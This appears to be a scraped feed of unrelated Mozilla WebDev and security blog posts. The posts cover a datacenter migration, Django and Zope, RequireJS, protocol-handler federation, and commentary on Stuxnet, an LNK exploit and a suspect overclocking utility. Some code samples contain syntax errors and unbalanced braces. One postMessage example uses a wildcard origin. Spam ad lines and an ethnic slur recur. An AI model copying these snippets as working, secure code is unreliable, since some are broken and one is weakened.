It’s worth noting that part of the challenge here is that Socorro has a fairly large number of moving parts. I present, for your perusal, a diagram of our current architecture.
I’ve blogged about our architecture before, and will do so again, soon, so this is just a teaser.
One of the most interesting parts of the migration was the extensive smoke and load testing we performed. We set up a farm of 40 Seamicro nodes and used them to launch crashes at the new infrastructure. This allowed us to find network bottlenecks, misconfigurations, and perform tuning, so that on the day of the migration we were really confident that things would go well. QA also really helped here because with the addition of a huge number of automated tests on the UI, we knew that things were looking great from an end user perspective.
The futureWe now have a great infrastructure and set of processes to build on. The goal of Socorro – and Webtools in general – is to help Firefox ship as fast and seamlessly as possible, by providing information and tools that help to build the best possible browser. (I’ll talk more about this in future blog posts, too.)
ThanksI’ll wrap up by thanking every member of the team that worked on the migration, in no particular order:
Good job!
On Saturday, January 22, starting at 9am PST, we will proceed with the Socorro datacenter migration.
BackgroundAs most people who touch Socorro know, we have been close to capacity on the current systems in San Jose for some months. Due to space and power considerations, we chose to move to a set of shiny new machines in the Phoenix datacenter. As well as each box being significantly higher specced, we now have a lot more of them:
We’ve done a lot of work to make Phoenix superior in other respects, which I’m really excited about too. All configurations and releases are done automatically through puppet. We have added a great deal more monitoring and instrumentation to the system (with nagios and ganglia) which have allowed us to measure and monitor during our smoke tests, and will continue to give us better insights into the system in production.
For the last few weeks we have been running various tests on our setup in PHX. All QA tests pass and we have run millions of crashes through the system in smoke, load, and component failure tests.
ProcedureThe basic procedure we will follow on Saturday is:
During the migration we will continue to collect crashes, but processing and crash-stats will be unavailable. We anticipate a downtime of approximately 8 hours, but it may be longer. (In an absolute worst case scenario it would take about that again to roll back to San Jose, once we noticed an unsolvable problem.) We’ll keep San Jose static for a couple of weeks, and then it will become our test environment.
After the migration I’ll blog more about what we learned during this process. If you have any questions in the meantime, please send me an email.
This was sent to me by a friend who wanted to stay anonymous:
There’s a utility called SetFSB which tweaks the clock speed for overclocking stuff.
It was written in Japan, and is used for many years already.
Recently it came to me that I can speed up my old machine by 25% so I dl’ed it as well,
however, when running, I discovered that upon termination, the .exe creates 2 files,
1 batch file and 1 executable.
The batch file is being spawned, and starts a loop trying to delete the original executable, and continues indefinitely until it’s deleted. after that it will rename the new .exe to the be the same name as the old one.
Now, isn’t that suspicious?
I’ve tried googling it, and just found 1 reference in PCTool’s ThreatFire, but the shmucks just got the threat and couldn’t see the .exe and .bat, so they just decided it’s a false alarm and whitelisted the utility.
I thought it would be a good idea to contact the author, give him a chance to explain, and this is message train, which I find very funny:there’s a uility called SetFSB which tweeks the clock speed for overclocking stuff.
It was written by some Jap, and is used for many years already.
Recently it came to me that I can speed up my old machine by 25% so I dl’ed it as well,
however, when running, I discovered that upon termination, the .exe creates 2 files,
1 batch file and 1 executable,
the batch file is being spawned, and starts a loop trying to delete the original executable, and continues indefinitely until it’s deleted. after that it will rename the new .exe to the be the same name as the old one.
Now, isn’t that suspicious?
I’ve tried googling it, and just found 1 reference in PCTool’s ThreatFire, but the shmucks just got the threat and couldn’t see the .exe and .bat, so they just decided it’s a false alaram and whitelisted the utility.
I thought it would be a good idea to contact the author, give him a chance to explain, and this is message train, which I find very funny:
ME>>>Dear Mr.
Why after exiting SetFsb, it will create a .bat and new .exe
the .bat will loop to try delete the old .exe, and rename the new .exe to old .exe ?Thanks!
HIM>>>
Hi,
Yes,
abo
ME>>>
Hello.
Yes… good…
but WHY???
is it a VIRUS?thanks!
HIM>>> (here comes the good part
)
I do not have a lot of free time too much.
Why do you think that i support you free of charge?ME>>>
to make viruses?
HIM>>> (this is the original font color and size he used!!!)
I do not have a lot of free time too much!
ME>>> (trying to hack his japanese moralOS v0.99)Please, dear Abo,
You must understand. People start to be VERY worried about your software,
because it behave like a virus.
If you will not give a good explanation to WHY it behave like this,
then people will stop using it, and stop trusting you forever.
Then your name will become bad, and you will have a lot of shame.
I only try to help you.I hope you understand!
HIM>>>
It is unnecessary. Please do not use SetFSB if you are worried.
Personally, I’m not sure who’s more weird: my friend, overclocking his computer in 2011, or the Japanese programmer not willing to explain if his downloadble program is a Trojan or not.
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
David Boswell spoke at the Mozilla Summit in July, 2010 about the issues we faced with the growing collection of over 100 websites under the Mozilla umbrella. One of the issues he mentioned is that some of the websites no longer have product owners, while other sites no longer served the purpose for which they were originally intended. Some sites were created for campaigns that ran 2 to 3 years ago, and while we within the Mozilla organization know that those campaigns are no longer relevant, website visitors won’t necessarily be aware of that fact when they visit the website.
From the perspectives of the web development and security teams, we also faced security and privacy concerns from the fact that some of our website codebases were old and had not been updated for some time. While some of the websites required security updates, with the current list of priorities on the table (namely launching and supporting Firefox 4) we simply could not justify spending the time to patch any sites that were not immediately relevant to Mozilla’s current mission.
David organized a taskforce to handle the various website concerns that affected the organization, and I offered to spearhead an effort (with the help of Fred Wenzel) to wrangle abandoned websites. Our goals were to:
The taskforce decided to create the Mozilla Website Archive. The Website Archive is primarily a blog that is used to document each website that has been identified as an abandoned / outdated site and nominated for retirement. Each blog post will contain a screenshot of the site, an explanation of its purpose and when it was retired. During this process we:
Looking back, one of the lessons that that the Taskforce has learned is the fact that after a website launches, it will require organizational support for the remainder of its existence. Far too often we launch websites without consideration of the resources necessary to support future development, security updates, privacy concerns and eventually retiring the website.
Moving forward we plan to include considerations for future support in each of our site specifications before launch. Additionally, we will outline the end-of-life plan for each site. The end-of-life process could be initiated upon the date which its campaign has been completed, or upon determination that the site no longer supports the Mozilla mission or has not achieved its intended goals.
Not sure what to make of this yet:
“FBI Added Secret Backdoors to OpenBSD IPSEC”
Theo De Raadt seems to be ambiguous about this:
It is alleged that some ex-developers (and the company
they worked for) accepted US government money to put backdoors into
our network stack, in particular the IPSEC stack. Around 2000-2001.[…]
I refuse to become part of such a conspiracy, and
will not be talking to Gregory Perry about this.
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
p { margin-bottom: 0.08in; }a:link { }
There is something special about Berlin. Just a feeling that can’t be fully explained, that the cold and snowy weather enhances well. But I also can’t help thinking about the Len Deighton cold-war-espionage books, checkpoint Charlie, east and west clashing in this city that was like an explosive tip of a gun powder barrel.
When I grew up, Sting sang “I hope the Russians love their children too” and what he meant was love them enough to not annihilate the entire planet. War was serious, and war between world powers was scary. Remember War Games? You’d think people will be afraid of Kevin Mitnick’s hacking skills, but what they were more afraid of was him starting world war III that would potentially wipe out hundreds of millions of people.
So I must admit I’m slightly amused by the threats of ‘cyberwar’. Lets assume for a minute John Lennon was wrong and there will never be ‘peace on earth’. Lets assume that whether it’s because of testosterone, ego, or some other reason taught in psychology 101, nations will continue to fight each other. If that’s the case, what better way to do that than on the Internet? Have them hack each other Ad Nauseam; bring down computers or networks, plant Trojan Horses and steal sensitive data. Assuming the current superpowers are China and the US, isn’t cyberwar the perfect way to ventilate mutual aggression without human casualties?
Of course, there’s a worse case scenario where that stops being funny: if cyberwar can be used to shut down critical infrastructure, people will get killed. But that doesn’t seem to be the direction this “war” is going. Nations fighting on the Internet? I say bring it on.
On a related note, check out Richard Stiennon’s new book about Cyberwar. And if you are in DC, go hear him speak on Thursday about Google Aurora, Stuxnet, and the wikileaks DoS attacks. Really fascinating stuff.
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
p { margin-bottom: 0.08in; }a:link { }
Despite what Dilbert Comic Strips may teach you, our job as security professional is to enable information services – not prevent them.
The bad guys do evil: we try to prevent it (or clean-up after) so that users can continue and use systems as if there is no evil in the world. If IT security had a Hippocratic oath, it would probably be along those lines.
Here’s a recent example. This morning I got a call from my credit card company asking me if I’d done some transactions that seem suspicious. I hadn’t, and so they will cancel the transactions (and unfortunately, cancel my credit card and send me a new one). I’m not going to stop using my credit card, and will probably completely forget about this incident. I didn’t lose any money, and the inconvenience was minimal: this is all thanks to the people that chase up the credit card fraud and enable customers around the world to use their cards despite countless attacks on credit card users, some (as my example shows) successful.
Things are not so simple in the email war front. When SMTP was introduced, it described a simple, reliable, scalable system for communication. Almost 30 years after that, we stripped email of some of its most important features. By we, I mean the IT security world. In fact, we’re slowly doing to SMTP what TSA is doing to air travel.
First, the major feature of SMTP: sending and receiving emails. This is probably our biggest failure today: There is no guarantee you will be able to send or receive emails. In fact, if you communicate with the external world, it is almost guaranteed that you will not receive a certain percentage of your emails, and that some emails you send will not arrive. Sure, there are legitimate reasons: we need to protect from spam, viruses and phishing. But the bottom line is that SMTP was designed to reliably deliver an email from point A to point B. Today, we send an email and then call to verify it was received (or send a second email which mysteriously arrives after the first one was blocked).
Next, we kill useful SMTP features. Remember the days when you got an email ‘bounce’ when mistyping the email recipient’s address? Forget about it; those days are long gone. I’m not sure what Spamcop’s exact mission statement is, but it might as well be “make email unuseful”. They have outlawed email bounces (which, by the way, are required by the SMTP RFC) and continued to take out all auto-responders.
Remember read-receipt? Gone. The postal service had this feature in 1841, but we can’t have it in 2010. Do you want to know if a certain email exists? You can’t. Want to send email directly from your computer without using a mail relay? A non-starter. Ever heard of email fragmentation? This is an awesome feature of SMTP but don’t waste time learning it – it won’t work on the Internet today (and this time we share some of the blame).
Look at HTTP. You click on a link, and you get to the page. If you get an error, you know it’s the web site’s fault. An attack on NCSA’s httpd server is one of the first documented buffer overflow attacks, and yet attacks on modern HTTP servers are practically non-existent. SQL injection and XSS are everywhere and yet users surf dynamic pages all the time without being blocked. We’re doing a good job fixing up HTTP without being a “Mordac”. Too bad we couldn’t do it with SMTP.
Is there hope for SMTP? I think there is. Last decade the doctors were ready to pull the plug on email: spam and viruses were so frequently in the users’ inbox that email was on the verge of being unusable: You had to spent a noticeable percentage of your day clicking the ‘del’ button. These days are over: you rarely see spam in your inbox today, and if you’re like me, you get more irritating chain letters from family members you can’t block (hi mom) than shady ads for pills.
This war can be won. We just need to remember the Hippocratic oath for the IT security world and enable reliable communication again.
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
Stuxnet is a worm that focuses on attacking SCADA devices. This is interesting on several levels.
First, we get to see all of those so-called isolated networks get infected, and wonder how that happened (here’s a clue: in 2010, isolated means in a concrete box buried underground with no person having access to it).
Then, we get to see how weak SCADA devices really are. No surprise to anyone who has ever fuzzed one.
After that, we get to theorize on who’s behind it and who is the target. What’s your guess?
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
Note: this is a repost from my blog. You can find the original post here.
This is my first post to the Mozilla WebDev blog. Woot, exciting!
Table of contents: Demo
In this post, we’ll go through how to get AJAX uploads to work with Django, including:
Note: I’m planning to add upload progress. If you can’t wait for that post (understandably), there are several ways to go about it:
First, we’ll look at how the server handles files sent to it.
Model
I created an app called upload with an ImageAttachment model, like so:
from django.conf import settings
from django.contrib.auth.models import User
from django.contrib.contenttypes.models import ContentType
from django.contrib.contenttypes import generic
from django.db import models
class ImageAttachment(models.Model):
"""A tag on an item."""
file = models.ImageField(upload_to=settings.IMAGE_UPLOAD_PATH)
thumbnail = models.ImageField(upload_to=settings.THUMBNAIL_UPLOAD_PATH)
creator = models.ForeignKey(User, related_name='image_attachments')
content_type = models.ForeignKey(ContentType)
object_id = models.PositiveIntegerField()
content_object = generic.GenericForeignKey()
def __unicode__(self):
return self.file.name
This represents an image attached to a piece of content (using a generic foreign key). Pretty basic stuff. The form is ridiculously simple:
Form
from django import forms
class ImageUploadForm(forms.Form):
"""Image upload form."""
image = forms.ImageField()
View (uploading image, saving to disk)
The view is a bit more complicated, so I won’t go into the details. But you can have a look at the entire app and contact me if you have questions. Basically, the view does the file upload as you see in Django’s documentation. The function create_image_attachment deals with the part about saving a file to disk.
There is also a task for generating thumbnails, which is offloaded from the web server thread to improve performance. If you don’t need that, you can just call generate_thumbnail directly, it’s defined here.
Client sideNow, the magical JavaScript!
We’re using jQuery on SUMO, so I wrote two jQuery extensions:
<input type="file"> in a <form> and creates an <iframe> to which that form posts. To get around Django’s csrf protection, it also copies the csrfmiddlewaretoken hidden input into the form. You can’t clone a file input for security reasons (nor can you change or access its value), so you need to wrap it in a form.
input<type="submit"> in a <form> and creates an <iframe> to which that form posts.
These two pretty much summarize the process:
wrapDeleteInput()
To degrade gracefully, you want to post the file input to whatever view you’re including it to. And you can just do something like:
def some_view(request):
# ...
# NOJS: upload image
if 'upload_image' in request.POST:
upload_images(request, obj)
# ...
Thanks for reading, hope it helps!
Having recently come from the Plone world to join Mozilla, I am in the delicious but fleeting position to compare two major Python web frameworks with some pretension of familiarity. Through a series of articles focusing on specific features, I will compare the Zope family of frameworks (as they are used in Plone) with the Django framework, which is gaining popularity at Mozilla and currently runs support.mozilla.com and addons.mozilla.com. My hope is that users of and contributors to each framework will learn from the mistakes and triumphs of the other, and everyone will come out with a broader apprehension of the possibilities in this space.
Zope and Django have vastly different design philosophies, but they both come from a common—yet surprising—place: the newspaper industry. Django was born of an internal content management system at the Lawrence Journal-World; Zope, from a classified ad search system for the InfiNet consortium. It could be just dumb luck, but perhaps the quick deadline cycles and sheer volume of daily papers have a natural tendency to produce agile software for managing large amounts of content. Today, we’ll have a look at each framework’s facilities for storing and accessing that content: Django’s object–relational mapper and the Zope Object Database.
Django: relational to its coreDjango assumes a relational datastore at its very lowest levels, and that assumption percolates unashamedly up to its public API. All the typical DBs are supported—PostgreSQL, MySQL, SQLite, and Oracle—and more are available from third parties. To store data in Django, one first defines a schema in a Pythonic manner…
class Hamster(Model):
first_name = CharField(max_length=50, db_index=True)
middle_name = CharField(max_length=50)
last_name = CharField(max_length=50)
…which Django automatically turns into a DB table. These “model” objects are then created or fetched explicitly:
# Make a new Hamster:
Hamster.objects.create(first_name='Aloysius', last_name='Fearsomepants')
# Get the Hamster with the given first and last names:
h = Hamster.objects.get(first_name='Mister', last_name='Fluffypants')
Table-wide queries happen via so-called “managers” like the above objects one, special objects typically stored as attributes on the pertinent model classes. Individual row operations, meanwhile, are performed directly on instances, where attributes generally map to DB fields:
# Set Mister Fluffypants' middle name:
h.middle_name = 'Fuzzy'
Saves are done explicitly:
# Save the Hamster. This sends an UPDATE query.
h.save()
Django hijacks Python’s keyword argument syntax in a creative way to express more complex concepts such as substring matching and cross-table joins. Note the double underscores in the following:
hamsters = Hamster.objects.filter(last_name__startswith='F')
If we had added a self-referencing mother attribute to the Hamster class, we could even join the table to itself and find all the hamsters whose mothers’ last names contain “pants”…
hamsters = Hamster.objects.filter(mother__last_name__contains='pants')
…or whose mother is a specific hamster:
hamsters = Hamster.objects.filter(mother=some_specific_hamster)
In each of the previous three examples, hamsters is a QuerySet, a lazy representation of a DB query. QuerySets can be combined in set-mathy ways—unions, intersections, exclusions—and even limited using Python’s slice syntax, all without hitting the DB. If a framework is going to expose relational semantics, this is a beautiful, natural way to do it. Relational datastores are a mature technology, and SQL is ubiquitous; by mapping Python closely to SQL, a learning requirement and a complex, leaky abstraction layer are both avoided.
The Zope Object Database (ZODB), on the other hand, eschews any concept of schema or explicit reference to a storage layer at all, instead pursuing transparent object persistence über alles. The ZODB is essentially a hierarchy of pickled Python objects. There is a single root object, and others hang off it via hashable keys, just like a Python dictionary (though in practice, most ZODB make use of B-trees rather than hashes to allow better concurrency).
The hamster example might look like this in ZODB parlance:
# Make a new Hamster:
root['mister-fluffypants'] = dict(first_name='Aloysius', last_name='Fearsomepants')
First, notice that there is no schema: any pickleable Python object can be stored directly. In this case, I store a plain dict just to make a point, but one typically stores things that inherit from various provided base classes so the ZODB can notice changes. This schema-less-ness is fantastic for prototyping, but it does ultimately allow cruft to accumulate in the DB, leading to branching code and annoying database-walking migrations as data formats change.
To avoid having to walk the world to find an object, one uses the ZCatalog, ZODB’s canonical indexing solution:
# Get the Hamster with the given first and last names:
hamsters = catalog.searchResults(first_name='Mister', last_name='Fluffypants')
The ZCatalog is in no way integral to the ZODB; it rides on top, storing its indexes as objects in the database just like everyone else. The ZODB has no particular hooks that update ZCatalog; instead, client code is responsible for notifying it when an object is changed. Zope’s object modification and creation event hooks come in handy here, but it is not uncommon, when using third-party Plone add-ons for instance, for indexes to get out of sync and to require a database-walking rebuild.
ZCatalog has a much smaller API than Django’s managers, as it cannot leverage a whole RDBMS underneath. Typically, a simple query like the above will suffice, or data resides at a predictable path in the object hierarchy. If not, one must write Python code to walk the DB and find what’s needed. Similarly, there is no widely supported protocol for accessing the ZODB from non-Python languages, a continual challenge that leads to a lot of ad hoc XML-RPC or REST interfaces (though wsapi4plone fills many simple needs).
The ZODB provides ACID properties, though it’s light on the C: referential and type consistency are the application’s responsibility. It sports multiversion concurrency control and is reasonably fast, churning through several hundred transactions per second on a modest laptop.
ConclusionI’ve had a bit of a persistence odyssey these past 15 years: from custom serializers to bare SQL, from writing my own ORMs to wrestling the almost unusably ambitious peak.storage, and finally spending 4 years in the Zope world. After all that, I must admit that Django’s object–relational mapper impresses me greatly. By coupling storage and modeling concerns, it gains simplicity. This is a good tradeoff, since relational storage is mature and its limitations known—if you need a different kind of store, go somewhere else (though there are rumblings of making Django work atop key-value stores). It’s also easy on the eyes: its one-liner field definitions are about the same number of tokens one would need to initialize state in a new plain-Python object, making relational persistence almost a break-even proposition.
Zope retains a slight advantage for reckless, pedal-to-the-metal prototyping, and it’s more natural than a relational store for representing hierarchies, polymorphism, and inheritance relationships. It requires discipline, since there is no constraint-enforcing DB to keep you honest, but nothing beats it for transparency and for feeling at home in a Python program. Transparency, of course, is a double-edged sword: when it stops being obvious when you’re performing a linear scan or even doing DB access at all, performance can go out the window for the unwary. But such are the hazards of leaky abstractions, and both Django and Zope carry this warning.
If you want to learn more about Django’s modeling and storage framework, check out its Model and QuerySet documentation. For an introduction to the ZODB, see the ZODB Tutorial. I also expose some hard-to-find facts about ZODB’s on-disk format in chapter 10 of Plone 3 for Education.
Come back next time for a comparison of Django and Zope’s templating or component coupling systems!
As JavaScript codebases become larger and more complex, we start to miss the niceties we take for granted in general purpose programming languages. It would be really great to have a JavaScript module system. The CommonJS community has created a standard that Jetpack and Node.js use.
Let’s start a conversation around JavaScript modules and toolkits.
A module or package system does a couple things, but the main benefits come from:
I’ve been test driving RequireJS and Juicer; it’s a good combo providing the following benefits:
RequireJS is a JavaScript library which provides a CommonJS modules implementation and the ability to load individual JavaScript files. It’s optimized for in-browser use, unlike many of it’s CommonJS siblings.
A common performance tip is to concatenate scripts and minify them to reduce bandwidth and total number of HTTP requests. As applications mature, it’s easy to repeat yourself or include too much code in your minified file. Breaking your JS up into modules allows you to do dependency management and only include relevant code.
Editorial Note: It’s important to know which code is in which file when explaining this stuff… so I’ve included the filename in the code snippet. It isn’t actually important to how the RequireJS or Juicer systems work.
Here is a hypothetical example of JavaScript organized into RequireJS modules:
//file: search/form.js
require.def('search/form', [], function () {
return {
initialize: function () {
$('input[name=q]').focus();
}
};
});
// file: anonymous_visitor.js
require.def('anonymous_visitors', ['search/form'], function (search) {
search.initialize();
});
So the top level script anonymous_visitor.js uses a function declared in the search module. Perhaps this website has a minimal amount of JavaScript for anonymous visitors, but loads a different, more heavy weight script, for recognized visitors. By breaking up the code, the search module could be used a second time from another top level script.
There are multiple ways to use require. If a module doesn’t have any dependencies, then you can use this format:
//file: search/form.js
require.def('search/form', {
initialize; function () {
$.('input[name=q]').focus();
}
});
So far, I’ve found it best to use the “module, dependencies array, function” format even if a module doesn’t depend on any other modules. This allows a module to grow without having to change the last parameter to def from an object literal to a function. It increases consistency in the code and reduces the amount of boilerplate you have to memorize.
There is one variation. In top level JavaScript files, instead of an object literal, we return a function. This function runs once, right after the dependencies have been loaded. Really this code should be thin and just kicking things off. Think of this top level file as the “application” script and the others as reusable components.
By default, RequireJS can load code over the network. It’s got some advanced features here, but I’m not using them for by default. Imagine we’ve taken a 3,000 line JavaScript file and break it into 30 components. The overhead of 30 separate HTTP requests for JavaScript files kill our performance?
Not if we take our top level application scripts like anonymouse_visitor.js and create a minified script with all of their dependencies included. RequireJS will only try to load modules over the network, if it has not seen their definition. If we make a single big old JavaScript file out of all the relevant bits, then no HTTP requests for .js files are needed.
This is where Juicer comes in. It is a command line application for packaging up JavaScript and CSS. Django, Ruby on Rails and other systems often ship with a similar asset packager.
For JavaScript, Juicer will:
For CSS it will:
And many other handy features to improve website performance. These steps happen once at build time.
To Juicify our earlier example code, we do the following:
//file: anonymous_visitor.js
/**
* @depend search/form.js
*/
require.def('anonymous_visitors', ['search/form'], function (search) {
search.initialize();
});
The only change is the @depend and the full filename relative to the current JavaScript file.
Then running the command juicer merge anonymous_visitor.js will produce anonymous_visitor.min.js, after running JSLint against each dependency and top level script.
As a module depends on more modules you just add them to the 2nd argument and add parameters to the function (which is the 3rd argument).
During development, you probably don’t want the code minified, so you can pass juicer –min '' and it will just concatenate your files. JSLint is optional, so if you’ve had your fill of curmudgeonry for the day, then skip it with glee.
CSS is similar and doesn’t invent any new syntax. You just use an empty top level CSS file filed with @import statements. Example:
/* file anonymous_visitor.css */ @import url(search.css); @import url(general.css); @import url(registration.css);
Juicer currently has no verify step for CSS. Read the docs on the merge command for both JS and CSS as there are lots of handy flags.
Feature Request
The only major flaw with this setup is that Juicer uses it’s own convention for capturing dependencies with the @depend doc tag. You may have noticed that once we added Juicer to the mix, we started violating the DRY principal. With @depend search/form.js and require.def('appname', ['search/form'], ... we’re saying the same thing twice. if we rename form.js, we’ll have to update the code in two places.
Juicer should be enhanced to understand the RequireJS standard and load files from it. It should use an optional -d or --document-root, just like it already does for CSS. Then @depend. would be obsolete.
I should note that the RequireJS project does have a Juicer-like tool called Optimize. I liked Juicer (and some other asset packagers I tested) more than RequireJS’s Optimize, YMMV. Perhaps it’s because Optimize uses Google Closure. Perhaps it’s because I like small focused tools. If you choose Optimize instead of Juicer, then you don’t have to repeat yourself and can skip using @depend. tags.
RequireJS and Juicer give you the building blocks for a better codebase. However, they don’t give you any guidance on how to structure your CSS and JavaScript. You’ll still need to do performance testing or guesstimating to know weather you should have 2 top level scripts across your 17 different screens, or 5 top level scripts with 11 lazy loaded components… Performance tuning and architecture aint easy!
jQuery
I’m treating jQuery (and other third party libraries) as part of the platform. I don’t worry about wrapping them in RequireJS style modules nor verifying them (as JSLint hates jQuery). If you want to be consistent, some of the work has already been done for you in making jQuery compatible with RequireJS. Instead I just use an @depend to track these 3rd party dependencies.
I’ve been using this setup for about a week and I really like how it improves the code without tying me to one web development framework.
This week, we pushed version 2.2 of support.mozilla.com (SUMO). The main feature in this release was our new Support Questions feature, replacing the old Firefox Support Forum.
The Support Questions, designed by the inimitable Chris Howse, take advantage of a number of HTML5 and CSS3 features to improve the look and experience: rounded corners, background gradients, placeholder and accept attributes, and more.
We are also using a number of server-side technologies now available to us to improve performance. From the database layer—we moved from MyISAM to InnoDB tables and improved the schema—to the views—we are using Celery to offload non-real-time tasks, like email notifications and thumbnail generation, from the web server thread—we have built a system designed for speed, which we hope our users will feel.
So check out the new Support Questions on SUMO. If you’re already a SUMO contributor, we hope you’ll be as excited about the new platform as we are. If you’re not, this is a great time to start! As always, we welcome feedback and contributions. You can find all the source code on Github.
In recent blog posts I’ve talked about our plans for Socorro and our move to HBase.
Today, I’d like to invite community feedback on the draft of our plans for Socorro 2.0. In summary, we have been moving our data into HBase, the Hadoop database. In 1.7 we began exclusively using HBase for crash storage. In 1.8 we will move the processors and minidump_stackwalk to Hadoop.
Here comes the futureIn 1.9, we will enable pulling data from HBase for the webapp via a web services layer. This layer is also known as “the pythonic middleware layer”. (Nominations for a catchier name are open. My suggestion of calling it “hoopsnake” was not well received.)
In 2.0 we will expose HBase functionality to the end user. We also have a number of other improvements planned for the 2.x releases, including:
Full details can be found in the draft PRD. If you prefer the visual approach you can read the slides I presented at the Mozilla Summit last month.
Give us feedback!We welcome all feedback from the community of users – please take a look and let us know what we’re missing. We’re also really interested in feedback about the best order in which to implement the planned features.
You can send your feedback to laura at mozilla dot com – I look forward to reading it.
Paul Osman, Dan Mills, and I recently attended the Federated Social Web Summit and a commonly mentioned problem was discovery in a de-centralized environment. How do you get website A to talk to website B without a centralized service to coordinate? This post takes a stab at solving this problem with a progressive enhancement that works on Firefox 3.5 and later.
Here is a short screencast to describe an example problem and showing the solution in action.
Mo Federation Mo Problems
The basic issue is that due to web browser’s same origin policy,http://bob.example.com cannot know that Alice uses http://alice.status.net as her preferred Social Networking application for OStatus interactions. This isn’t an issue on today’s monoculture social networking web, but as we move to embrace website diversity, we need a way to discover URLs and other details that are personalized to the current user.
So what’s in the magic sauce in the video, you ask? Two JavaScript methods: registerProtocolHandler and postMessage.
After Alice logs in on http://alice.status.net, the following JavaScript code runs:
if ('navigator' in window &&
'registerProtocolHandler' in window.navigator) {
navigator.registerProtocolHandler(
"ostatus", "http://alice.status.net/follow?uri=%s", "OStatus");
}
When Alice visits http://bob.example.com/bob and clicks Subscribe, an <iframe> is created with its URL pointed to ostatus://bob.example.com/bob/follow. Note the scheme in the URL is ostatus and not http.
$(window).bind('message', function(event) {
$('input[name=profile]').attr('value', event.originalEvent.data);
});
$('body').append("<iframe id='ostatus_follow_frame' src='ostatus://bob.example.com/bob/follow'></iframe>");
Firefox invokes Alice’s protocol handler and the actual request is for http://alice.status.net/follow?uri=ostatus%3A%2F%2Fbob.example.com%2Fbob%2Ffollow. Alice is an anonymous user to http://bob.example.com/bob, but http://alice.status.net/follow receives all of her normal cookies and other headers, so alice.status.net knows she is Alice.
This handler page then uses the postMessage API to communicate safely with bob.example.com to notify it that Alice’s username is alice@alice.status.net.
<html>
<body>
<script>
//This could talk to http://bob.example.com instead of '*' for better security
window.parent.window.postMessage('alice@alice.status.net', '*');
</script>
</body>
</html>
With this last piece in place, Alice is free to subscribe to Bob without remembering arcane credentials, urls, or codes. The two federated websites are able to automatically coordinate how Alice will follow Bob.
Protocol DesignA note on the protocol design: This is a rough prototype to show the design pattern and how it solves the problem. I’ve spent only a few minutes designing the ostatus:// protocol, it is not a standard. Note: There is an existing server to server protocol OStatus 1.0 Draft 1, but this demo client side protocol isn’t a part of that spec currently.
We have to be careful with creating new URI scheme names. We should be thoughtful with protocol designs as we want to make extensible designs that can be given new capabilities without breaking old clients.
There are at least two pieces to play with: The protocol url and then the postMessage interaction. You can design very simple interactions or complex dances back and forth between site A and B via the iframe. Protocols should probably include a version number, etc.
Another design decision is the granularity of protocols: Should we have a new scheme follow:// that handles only one method? Or an ostatus:// scheme that bundles several methods? How many methods should ostatus:// include in it’s initial specification?
This demo is a simple one way communication in the iframe, but could be two way with negotiations and taking protocol versioning into account, much like HTTP is an extensible protocol (content negotiation, very few assumptions, etc).
This demo implements two actions: test and follow. This is enough of the OStatus protocol to kick the tires on the idea, there are other useful actions that would be baked into the real ostatus protocol handler.
UX ProblemA Google search for registerProtocolHandler shows 26,600 results, so it isn’t widely used or discussed currently. Why?
In the video we show what happens if the user doesn’t have an ostatus protocol handler registered. There is no way to query this ahead of time. You can detect the failure and show some help describing how to get an OStatus enabled service, etc. At the end of this post I’ll sketch out some UX improvements to make this less painful.
It would be nice if there was a navigator.isProtocolRegistered('ostatus') that returned true if one or more handlers were registered. This would help solve this issue. Update: dmose points out Bug#440620 which suggests a protocolRegistered function.
This federated website discover technique really improves the user experience for Firefox 3.5+ users. No other browsers implement registerProtocolHandler, but that’s okay as this is a progressive enhancement. Once they do, the awesome sauce will start flowing for them too. The Chromium project is also working on implementing this feature.
Assuming good UX norms can be built around how to use registerProtocolHandler-then-postMessage, It’s quite possible that this technique can be used to solve the following hard problems:
A lot of smart people have done great work in solving this problem. Other solutions that depend on a centralized service, such as Meebo’s XAuth can still be used as fallbacks… Progressive enhancement FTW.
Smoothing out the GotchasThere is some work to be done around the best user workflow. Below we will use localStorage to remember where we are at in registering a protocol handler so we don’t bug the user over and over for a missing protocol handler.
Here is a sketch at fixing registerProtocolHandler gotchas. We keep track of the protocol handler by testing it at various stages and caching the answer across page loads. Something much better can be created per website to help ease adoption and explain to the user why they see the protocol dialog.
var isProtocolRegistered = 'unknown';
if ('localStorage' in window && window['localStorage'] !== null) {
if ('ostatus_handler_state' in localStorage) {
isProtocolRegistered = localStorage['ostatus_handler_state'];
} else {
// first time... initialize
localStorage['ostatus_handler_state'] = isProtocolRegistered;
}
if ('unknown' == isProtocolRegistered) {
if ('navigator' in window &&
'registerProtocolHandler' in window.navigator) {
// Hack url below would be Status.net JS or PHP emitting the url instead of hardcoding to the user alice
navigator.registerProtocolHandler("ostatus",
"http://alice.status.net/follow?uri=%s",
"OStatus");
localStorage['ostatus_handler_state'] = 'shown';
}
}
var testProtocol = function() {
$(window).bind('message', function(event){
localStorage['ostatus_handler_state'] = 'working';
});
$('body').append("<iframe id='ostatus_test_frame' src='ostatus://alice.status.net/test'></iframe>");
var frame = $('#ostatus_test_frame');
}
if ('shown' == localStorage['ostatus_handler_state']) {
// Is the handler still working?
localStorage['ostatus_handler_state'] = 'optout';
setTimeout(testProtocol, 5000);
} else if ('working' == localStorage['ostatus_handler_state']) {
// At one time we had a working protocolHandler... is it still working?
// This handles the case were user removes handler via browser preferences
// We'll want to try to registerProtocolHandler again on next page load
localStorage['ostatus_handler_state'] = 'unknown';
setTimeout(testProtocol, 5000);
}
}
}
Your Turn
What do you think? Can we use registerProtocolHandler and postMessage (repo for short) as the new plumbing for federating web applications? If so, these primitives can be the building blocks of your future protocol designs.
Editors NoteA big thanks to korge (Wilson Lee), Paul Osman, and Ryan Snyder for editing and feedback on this post.
The recently discovered LNK exploit; using the way Microsoft parses link or shortcut icons for display in order to get something else executed; may be a tempest in a teapot. It is technically sophisticated, but so far we don’t appear to have seen it used widely.
Probably a good thing.
This exploit could be used in a wide variety of ways. You can use it in removeable media, so that any time you shove a CD in a drive, or connect a USB stick/thumb drive (or any other USB device, for that matter) to a computer, it results in an infection or some malicious payload.
And remember that OLE stands for object *LINKING* and embedding. Since it is trivially easy to embed a virus in any Windows OLE format data file, it should be just as easy to create malicious links in any such files.
